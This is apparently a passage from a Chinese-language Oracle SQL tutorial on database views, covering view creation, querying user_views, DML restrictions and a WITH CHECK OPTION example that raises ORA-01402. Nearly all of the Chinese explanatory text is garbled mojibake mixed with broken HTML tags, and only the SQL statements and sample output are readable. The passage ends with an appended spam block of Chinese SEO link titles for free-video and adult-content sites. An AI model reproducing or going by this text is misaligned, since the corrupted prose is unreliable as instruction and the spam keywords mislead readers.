       WHERE  e.deptno=d.deptno
       GROUP  BY  d.dname;
 
瑙嗗浘鐨勫畾涔夊師鍒欙細(xì)
       1.瑙嗗浘鐨勬煡璇㈠彲浠ヤ嬌鐢ㄥ鏉傜殑SELECT璇硶錛屽寘鎷繛鎺?鍒嗙粍鏌ヨ鍜屽瓙鏌ヨ錛?/font>
       2.鍦ㄦ病鏈塛ITH CHECK OPTION鍜?nbsp;READ ONLY 鐨勬儏鍐典笅錛屾煡璇腑涓嶈兘浣跨敤
          ORDER BY 瀛愬彞錛?/font>
       3.濡傛灉娌℃湁涓篊HECK OPTION綰︽潫鍛藉悕錛岀郴緇熶細(xì)鑷姩涓轟箣鍛藉悕錛屽艦寮忎負(fù)SYS_Cn;
       4.OR REPLACE閫夐」鍙互涓嶅垹闄ゅ師瑙嗗浘渚垮彲鏇存敼鍏跺畾涔夊茍閲嶅緩錛屾垨閲嶆柊鎺堜簣瀵硅薄
          鏉冮檺銆?/font>
 
瑙嗗浘鐨勬煡璇細(xì)
          瑙嗗浘鍒涘緩鎴愬姛鍚庯紝鍙互浠?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘涓绱㈡暟鎹紝榪欑偣鍜屼粠琛ㄤ腑媯绱㈡暟鎹竴鏍楓?/font>
          榪樺彲浠ユ煡璇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鐨勫叏閮ㄤ俊鎭拰鎸囧畾鐨勬暟鎹鍜屽垪銆?/font>
   濡傦細(xì)
 
         媯绱㈡暟鎹細(xì)
          SQL>SELECT * FROM  dept_sum_vw錛?/font>
 
         鏌ヨ瑙嗗浘瀹氫箟錛?/font>
         SELECT view_name,text  from user_views;
            鍏朵腑text鏄劇ず鐨勫唴瀹逛負(fù)瑙嗗浘瀹氫箟鐨凷ELECT璇彞錛屽彲閫氳繃DESC USER_VIEWS
            寰楀埌鐩稿叧淇℃伅銆?/font>
 
淇敼瑙嗗浘錛?/font>
        閫氳繃OR REPLACE 閲嶆柊鍒涘緩鍚屽悕瑙嗗浘鍗沖彲銆?/font>
 
瑙嗗浘涓婄殑DML 鎿嶄綔錛?/font>
        DML鎿嶄綔搴旈伒寰殑鍘熷垯錛?/font>
        1.綆鍗?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鍙互鎵цDML鎿嶄綔錛?/font>
        2.鍦?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鍖呭惈GROUP 鍑芥暟錛孏ROUP BY瀛愬彞錛孌ISTINCT鍏抽敭瀛楁椂涓嶈兘
           鍒犻櫎鏁版嵁琛岋紱
        3.鍦?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘涓嶅嚭鐜頒笅鍒楁儏鍐墊椂鍙氳繃瑙嗗浘淇敼鍩鴻〃鏁版嵁鎴栨彃鍏ユ暟鎹細(xì)
            a.瑙嗗浘涓寘鍚獹ROUP 鍑芥暟錛孏ROUP BY瀛愬彞錛孌ISTINCT鍏抽敭瀛楋紱
            b.浣跨敤琛ㄨ揪寮忓畾涔夌殑鍒楋紱
            c.ROWNUM浼垪銆?/font>
            d.鍩鴻〃涓湭鍦?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘涓夋嫨鐨勫叾浠栧垪瀹氫箟涓洪潪絀轟笖鏃犻粯璁ゅ箋?/font>
 
 
瑙嗗浘鍙敤浜庝繚鎸佹暟鎹簱鐨勫畬鏁存э紝浣嗕綔鐢ㄦ湁闄愩?/font>
閫氳繃瑙嗗浘鎵ц寮曠敤瀹屾暣鎬х害鏉熷彲鍦ㄦ暟鎹簱綰ф墽琛岀害鏉熴?/font>
 
WITH CHECK OPTION 瀛愬彞闄愬畾錛?/font>
         閫氳繃瑙嗗浘鎵ц鐨処NSERTS鍜孶PDATES鎿嶄綔涓嶈兘鍒涘緩璇?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘媯绱笉鍒扮殑鏁版嵁琛岋紝
         鍥犱負(fù)瀹冧細(xì)瀵規(guī)彃鍏ユ垨淇敼鐨勬暟鎹鎵ц瀹屾暣鎬х害鏉熷拰鏁版嵁鏈夋晥鎬ф鏌ャ?/font>
  渚嬪錛?/font>
           CREATE OR REPLACE VIEW  vw_emp20
           AS  SELECT *  FROM  emp
           WHERE  deptno=20
           WITH CHECK OPTION constraint  vw_emp20_ck;
          瑙嗗浘 宸插緩绔嬨?/font>
 
            鏌ヨ緇撴灉錛?/font>
           SELECT empno,ename,job FROM vw_emp20;
           
          EMPNO                ENAME                JOB
---------------------           --------------          -------------
              7369                 SMITH                CLERK
              7566                 JONES               MANAGER
              7902                 FORD                ANALYST
 
          淇敼錛?/font>
                UPDATE vw_emp20 
                SET        deptno=20
                WHERE   empno=7902;
           灝嗕駭鐢熼敊璇細(xì)
               UPDATE vw_emp20 
                              *
               ERROR 浣嶄簬絎竴琛岋細(xì)
               ORA-01402錛?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘WITH CHECK OPTION 榪濆弽WHERE 瀛愬彞
 
瑙嗗浘鐨勫垹闄わ細(xì)
            DROP VIEW  VIEW_NAME璇彞鍒犻櫎瑙嗗浘銆?/font>
            鍒犻櫎瑙嗗浘鐨勫畾涔変笉褰卞搷鍩鴻〃涓殑鏁版嵁銆?/font>
            鍙湁瑙嗗浘鎵鏈夎呭拰鍏峰DROP VIEW鏉冮檺鐨勭敤鎴峰彲浠ュ垹闄?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘銆?/font>
            瑙嗗浘琚垹闄ゅ悗錛屽熀浜庤鍒犻櫎瑙嗗浘鐨勫叾浠?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">瑙嗗浘鎴栧簲鐢ㄥ皢鏃犳晥銆?/font>


]]> 主站蜘蛛池模板: 波多野结衣免费在线观看| 亚洲精品无码久久久久YW| 精品久久香蕉国产线看观看亚洲| 国产中文字幕免费| 国产嫩草影院精品免费网址| 国产无遮挡色视频免费视频| 四虎影视在线永久免费看黄 | 亚洲人成综合网站7777香蕉| 亚洲无线一二三四区| 777亚洲精品乱码久久久久久 | 久久精品国产亚洲AV麻豆王友容| 最近中文字幕无免费视频| 久九九精品免费视频| 久久久久久久免费视频| 无码日韩精品一区二区免费| 可以免费观看的国产视频| 久久99久久成人免费播放| 国产亚洲精品第一综合| 男男gay做爽爽的视频免费| 男女男精品网站免费观看| 亚洲欧美成人综合久久久| 亚洲AV无码一区二区三区网址 | 亚洲美女在线观看播放| 亚洲不卡1卡2卡三卡2021麻豆| 国产aⅴ无码专区亚洲av| 亚洲国产成人精品无码区在线观看| 亚洲人成在线播放网站岛国| 亚洲成人黄色在线| 亚洲人成色777777精品| 人人爽人人爽人人片av免费| 中文字幕日本人妻久久久免费| 最近中文字幕mv免费高清视频8| 一二三四免费观看在线电影| 免费观看亚洲人成网站| 亚洲日韩精品无码专区网址| 亚洲黄色网址在线观看| 亚洲精品无码人妻无码| 久久最新免费视频| 国产又大又粗又长免费视频| 国产一级一片免费播放i| 亚洲精品成人片在线播放 |